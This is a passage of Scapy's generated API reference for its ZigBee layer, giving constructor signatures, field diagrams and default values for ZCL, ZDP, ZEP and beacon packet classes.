+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     ATTRIBUTE IDENTIFIERS     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. ZCLGeneralReadAttributes                   


ZCLGeneralReadAttributes fields






	attribute_identifiers

	FieldListField

	[]















	
class scapy.layers.zigbee.ZCLGeneralReadAttributesResponse(_pkt, /, *, read_attribute_status_record=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/zigbee.py#L1208-L1212]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  READ ATTRIBUTE STATUS RECORD |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

              Fig. ZCLGeneralReadAttributesResponse               


ZCLGeneralReadAttributesResponse fields






	read_attribute_status_record

	PacketListField

	[]















	
class scapy.layers.zigbee.ZCLGeneralReportAttributes(_pkt, /, *, attribute_reports=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/zigbee.py#L1243-L1247]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       ATTRIBUTE REPORTS       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                 Fig. ZCLGeneralReportAttributes                  


ZCLGeneralReportAttributes fields






	attribute_reports

	PacketListField

	[]















	
class scapy.layers.zigbee.ZCLGeneralWriteAttributes(_pkt, /, *, write_records=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/zigbee.py#L1215-L1219]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         WRITE RECORDS         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. ZCLGeneralWriteAttributes                  


ZCLGeneralWriteAttributes fields






	write_records

	PacketListField

	[]















	
class scapy.layers.zigbee.ZCLGeneralWriteAttributesResponse(_pkt, /, *, status_records=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/zigbee.py#L1222-L1226]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         STATUS RECORDS        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

              Fig. ZCLGeneralWriteAttributesResponse              


ZCLGeneralWriteAttributesResponse fields






	status_records

	PacketListField

	[]















	
class scapy.layers.zigbee.ZCLIASZoneZoneEnrollRequest(_pkt, /, *, zone_type=0, manuf_code=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/zigbee.py#L1284-L1291]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           ZONE TYPE           |           MANUF CODE          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                 Fig. ZCLIASZoneZoneEnrollRequest                 


ZCLIASZoneZoneEnrollRequest fields






	zone_type

	EnumField

	0



	manuf_code

	XLEShortField

	0















	
class scapy.layers.zigbee.ZCLIASZoneZoneEnrollResponse(_pkt, /, *, rsp_code=0, zone_id=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/zigbee.py#L1260-L1267]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    RSP CODE   |    ZONE ID    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                Fig. ZCLIASZoneZoneEnrollResponse                 


ZCLIASZoneZoneEnrollResponse fields






	rsp_code

	ByteEnumField

	0



	zone_id

	ByteField

	0















	
class scapy.layers.zigbee.ZCLIASZoneZoneStatusChangeNotification(_pkt, /, *, zone_status=b'\x00\x00', extended_status=b'\x00', zone_id=0, delay=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/zigbee.py#L1270-L1281]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          ZONE STATUS          |EXTENDED STATUS|    ZONE ID    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             DELAY             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

           Fig. ZCLIASZoneZoneStatusChangeNotification            


ZCLIASZoneZoneStatusChangeNotification fields






	zone_status

	StrFixedLenField

	b'\x00\x00'



	extended_status

	StrFixedLenField

	b'\x00'



	zone_id

	ByteField

	0



	delay

	XLEShortField

	0















	
class scapy.layers.zigbee.ZCLMeteringGetProfile(_pkt, /, *, Interval_Channel=0, End_Time=0, NumberOfPeriods=1)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/zigbee.py#L1294-L1303]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|INTERVAL CHANNE|                    END TIME                   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |NUMBEROFPERIODS|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. ZCLMeteringGetProfile                    


ZCLMeteringGetProfile fields






	Interval_Channel

	ByteField

	0



	End_Time

	XLEIntField

	0



	NumberOfPeriods

	ByteField

	1















	
class scapy.layers.zigbee.ZCLPriceGetCurrentPrice(_pkt, /, *, reserved=0, Requestor_Rx_On_When_Idle=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/zigbee.py#L1306-L1311]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   RESERVED  |R|
+-+-+-+-+-+-+-+-+

                   Fig. ZCLPriceGetCurrentPrice                   


ZCLPriceGetCurrentPrice fields






	reserved

	BitField  (7 bits)

	0



	Requestor_Rx_On_When_Idle

	BitField  (1 bit)

	0















	
class scapy.layers.zigbee.ZCLPriceGetScheduledPrices(_pkt, /, *, start_time=0, number_of_events=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/zigbee.py#L1314-L1319]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           START TIME                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|NUMBER OF EVENT|
+-+-+-+-+-+-+-+-+

                 Fig. ZCLPriceGetScheduledPrices                  


ZCLPriceGetScheduledPrices fields






	start_time

	XLEIntField

	0



	number_of_events

	ByteField

	0















	
class scapy.layers.zigbee.ZCLPricePublishPrice(_pkt, /, *, provider_id=0, rate_label=b'', issuer_event_id=0, current_time=0, unit_of_measure=0, currency=0, price_trailing_digit=0, number_of_price_tiers=0, start_time=0, duration_in_minutes=0, price=0, price_ratio=0, generation_price=0, generation_price_ratio=0, alternate_cost_delivered=0, alternate_cost_unit=0, alternate_cost_trailing_digit=0, number_of_block_thresholds=0, price_control=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/zigbee.py#L1322-L1345]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          PROVIDER ID                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           RATE LABEL          |        ISSUER EVENT ID        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |          CURRENT TIME         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |UNIT OF MEASURE|    CURRENCY   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |PRICE TRAILING |NUMBER OF PRICE|   START TIME  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                                               |DURATION IN MIN|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     PRICE                     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |  PRICE RATIO  |        GENERATION PRICE       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |GENERATION PRIC|ALTERNATE COST |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                                               |ALTERNATE COST |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|ALTERNATE COST |NUMBER OF BLOCK| PRICE CONTROL |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. ZCLPricePublishPrice                     


ZCLPricePublishPrice fields






	provider_id

	XLEIntField

	0



	rate_label

	StrLenField

	b''



	issuer_event_id

	XLEIntField

	0



	current_time

	XLEIntField

	0



	unit_of_measure

	ByteField

	0



	currency

	XLEShortField

	0



	price_trailing_digit

	ByteField

	0



	number_of_price_tiers

	ByteField

	0



	start_time

	XLEIntField

	0



	duration_in_minutes

	XLEShortField

	0



	price

	XLEIntField

	0



	price_ratio

	ByteField

	0



	generation_price

	XLEIntField

	0



	generation_price_ratio

	ByteField

	0



	alternate_cost_delivered

	XLEIntField

	0



	alternate_cost_unit

	ByteField

	0



	alternate_cost_trailing_digit

	ByteField

	0



	number_of_block_thresholds

	ByteField

	0



	price_control

	ByteField

	0















	
class scapy.layers.zigbee.ZCLReadAttributeStatusRecord(_pkt, /, *, attribute_identifier=0, status=0, attribute_data_type=0, attribute_value=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/zigbee.py#L1073-L1093]

	Bases: Packet


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/zigbee.py#L1092-L1093]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      ATTRIBUTE IDENTIFIER     |     STATUS    |ATTRIBUTE DATA |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|        ATTRIBUTE VALUE        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                Fig. ZCLReadAttributeStatusRecord                 


ZCLReadAttributeStatusRecord fields






	attribute_identifier

	XLEShortField

	0



	status

	ByteEnumField

	0



	attribute_data_type

	ByteEnumField (Cond)

	0



	attribute_value

	_DiscreteString (Cond)

	b''















	
class scapy.layers.zigbee.ZCLWriteAttributeRecord(_pkt, /, *, attribute_identifier=0, attribute_data_type=0, attribute_data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/zigbee.py#L1096-L1108]

	Bases: Packet


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/zigbee.py#L1107-L1108]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      ATTRIBUTE IDENTIFIER     |ATTRIBUTE DATA | ATTRIBUTE DATA|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                   Fig. ZCLWriteAttributeRecord                   


ZCLWriteAttributeRecord fields






	attribute_identifier

	XLEShortField

	0



	attribute_data_type

	ByteEnumField

	0



	attribute_data

	_DiscreteString

	b''















	
class scapy.layers.zigbee.ZCLWriteAttributeStatusRecord(_pkt, /, *, status=0, attribute_identifier=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/zigbee.py#L1111-L1124]

	Bases: Packet


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/zigbee.py#L1123-L1124]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     STATUS    |      ATTRIBUTE IDENTIFIER     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                Fig. ZCLWriteAttributeStatusRecord                


ZCLWriteAttributeStatusRecord fields






	status

	ByteEnumField

	0



	attribute_identifier

	XLEShortField (Cond)

	0















	
class scapy.layers.zigbee.ZDPActiveEPReq(_pkt, /, *, nwk_addr=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/zigbee.py#L955-L960]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            NWK ADDR           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. ZDPActiveEPReq                        


ZDPActiveEPReq fields






	nwk_addr

	XLEShortField

	0















	
class scapy.layers.zigbee.ZDPDeviceAnnce(_pkt, /, *, nwk_addr=0, ieee_addr=0, allocate_address=0, security_capability=0, reserved2=0, reserved1=0, receiver_on_when_idle=0, power_source=0, device_type=0, alternate_pan_coordinator=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/zigbee.py#L963-L979]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            NWK ADDR           |           IEEE ADDR           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|A|S|R|R|R|P|D|A|
+-+-+-+-+-+-+-+-+

                       Fig. ZDPDeviceAnnce                        


ZDPDeviceAnnce fields






	nwk_addr

	XLEShortField

	0



	ieee_addr

	dot15d4AddressField

	0



	allocate_address

	BitField  (1 bit)

	0



	security_capability

	BitField  (1 bit)

	0



	reserved2

	BitField  (1 bit)

	0



	reserved1

	BitField  (1 bit)

	0



	receiver_on_when_idle

	BitField  (1 bit)

	0



	power_source

	BitField  (1 bit)

	0



	device_type

	BitField  (1 bit)

	0



	alternate_pan_coordinator

	BitField  (1 bit)

	0















	
class scapy.layers.zigbee.ZEP1(_pkt, /, *, preamble=b'EX', ver=0, channel=0, device=0, lqi_mode=0, lqi_val=0, res=0, len=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/zigbee.py#L1464-L1475]

	Bases: ZEP2


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            PREAMBLE           |      VER      |    CHANNEL    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             DEVICE            |    LQI MODE   |    LQI VAL    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              RES                              |
+                                               +-+-+-+-+-+-+-+-+
|                                               |      LEN      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                            Fig. ZEP1                             


ZEP1 fields






	preamble

	StrFixedLenField

	b'EX'



	ver

	ByteField

	0



	channel

	ByteField

	0



	device

	ShortField

	0



	lqi_mode

	ByteField

	0



	lqi_val

	ByteField

	0



	res

	BitField  (56 bits)

	0



	len

	ByteField

	0















	
class scapy.layers.zigbee.ZEP2(_pkt, /, *, preamble=b'EX', ver=0, type=0, channel=0, device=0, lqi_mode=1, lqi_val=0, timestamp=0, seq=0, res=0, length=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/zigbee.py#L1431-L1461]

	Bases: Packet


	
aliastypes

	




	
classmethod dispatch_hook(_pkt=b'', *args, **kargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/zigbee.py#L1447-L1455]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            PREAMBLE           |      VER      |      TYPE     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    CHANNEL    |             DEVICE            |    LQI MODE   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    LQI VAL    |                   TIMESTAMP                   |
+-+-+-+-+-+-+-+-+                                               +
|                                                               |
+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      SEQ                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      RES                      |
+-+-+-+-+-+-+-+-+                                               +
|                                                               |
+                                               +-+-+-+-+-+-+-+-+
|                                               |     LENGTH    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                            Fig. ZEP2                             


ZEP2 fields






	preamble

	StrFixedLenField

	b'EX'



	ver

	ByteField

	0



	type

	ByteField

	0



	channel

	ByteField

	0



	device

	ShortField

	0



	lqi_mode

	ByteField

	1



	lqi_val

	ByteField

	0



	timestamp

	TimeStampField  (64 bits)

	0



	seq

	IntField

	0



	res

	BitField  (80 bits)

	0



	length

	ByteField

	0











	
guess_payload_class(payload)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/zigbee.py#L1457-L1461]

	








	
class scapy.layers.zigbee.ZigBeeBeacon(_pkt, /, *, proto_id=0, nwkc_protocol_version=0, stack_profile=0, end_device_capacity=0, device_depth=0, router_capacity=0, reserved=0, extended_pan_id=0, tx_offset=0, update_id=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/zigbee.py#L884-L908]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    PROTO ID   |NWKC PR|STACK P|E|DEVICE |R|RES|EXTENDED PAN ID|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                   TX OFFSET                   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   UPDATE ID   |
+-+-+-+-+-+-+-+-+

                        Fig. ZigBeeBeacon                         


ZigBeeBeacon fields






	proto_id

	ByteField

	0



	nwkc_protocol_version

	BitField  (4 bits)

	0



	stack_profile

	BitField  (4 bits)

	0



	end_device_capacity

	BitField  (1 bit)

	0



	device_depth

	BitField  (4 bits)

	0



	router_capacity

	BitField  (1 bit)

	0



	reserved

	BitField  (2 bits)

	0



	extended_pan_id

	dot15d4AddressField

	0



	tx_offset

	BitField  (24 bits)

	0



	update_id

	ByteField

	0















	
class scapy.layers.zigbee.ZigbeeAppCommandPayload(_pkt, /, *, cmd_identifier=1, initiator=0, responder=0, data=0, status=0, key_type=0, address=0, key=None, key_seqnum=0, dest_addr=0, src_addr=0, partner_addr=0, initiator_flag=0, short_address=0, update_status=0, seqnum=None, unimplemented=b'', frame_control=<Flag 2 (security)>, delivery_mode=0, aps_frametype=1, counter=0, key_hash=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/zigbee.py#L763-L881]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| CMD IDENTIFIER|           INITIATOR           |   RESPONDER   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      DATA                     |
+-+-+-+-+-+-+-+-+                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |     STATUS    |    KEY TYPE   |    ADDRESS    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      KEY                      |
+-+-+-+-+-+-+-+-+                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |   KEY SEQNUM  |           DEST ADDR           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            SRC ADDR           |          PARTNER ADDR         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| INITIATOR FLAG|         SHORT ADDRESS         | UPDATE STATUS |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             SEQNUM                            |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         UNIMPLEMENTED         |FRAME C|DEL|APS|    COUNTER    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            KEY HASH                           |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. ZigbeeAppCommandPayload                   


ZigbeeAppCommandPayload fields






	cmd_identifier

	ByteEnumField

	1



	initiator

	dot15d4AddressField (Cond)

	0



	responder

	dot15d4AddressField (Cond)

	0



	data

	StrFixedLenField (Cond)

	0



	status

	ByteEnumField (Cond)

	0



	key_type

	ByteEnumField (Cond)

	0



	address

	dot15d4AddressField (Cond)

	0



	key

	StrFixedLenField (Cond)

	None



	key_seqnum

	ByteField (Cond)

	0



	dest_addr

	dot15d4AddressField (Cond)

	0



	src_addr

	dot15d4AddressField (Cond)

	0



	partner_addr

	dot15d4AddressField (Cond)

	0



	initiator_flag

	ByteField (Cond)

	0



	short_address

	XLEShortField (Cond)

	0



	update_status

	ByteField (Cond)

	0



	seqnum

	StrFixedLenField (Cond)

	None



	unimplemented

	StrField (Cond)

	b''



	frame_control

	FlagsField (Cond)

	<Flag 2 (security)>



	delivery_mode

	BitEnumField (Cond)

	0



	aps_frametype

	BitEnumField (Cond)

	1



	counter

	ByteField (Cond)

	0



	key_hash

	StrFixedLenField (Cond)

	None











	
guess_payload_class(payload)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/zigbee.py#L876-L881]

	








	
class scapy.layers.zigbee.ZigbeeAppDataPayload(_pkt, /, *, frame_control=<Flag 2 (security)>, delivery_mode=0, aps_frametype=0, dst_endpoint=10, group_addr=0, cluster=0, profile=0, src_endpoint=10, counter=0, fragmentation=0, block_number=0, ack_bitfield=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/zigbee.py#L639-L722]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|FRAME C|DEL|APS|  DST ENDPOINT |           GROUP ADDR          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            CLUSTER            |            PROFILE            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  SRC ENDPOINT |    COUNTER    | FRAGMENTATION |  BLOCK NUMBER |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  ACK BITFIELD |
+-+-+-+-+-+-+-+-+

                    Fig. ZigbeeAppDataPayload                     


ZigbeeAppDataPayload fields






	frame_control

	FlagsField

	<Flag 2 (security)>



	delivery_mode

	BitEnumField

	0



	aps_frametype

	BitEnumField

	0



	dst_endpoint

	ByteField (Cond)

	10



	group_addr

	XLEShortField (Cond)

	0



	cluster

	XLEShortField (Cond)

	0



	profile

	EnumField (Cond)

	0



	src_endpoint

	ByteField (Cond)

	10



	counter

	ByteField

	0



	fragmentation

	ByteEnumField (Cond)

	0



	block_number

	ByteField (Cond)

	0



	ack_bitfield

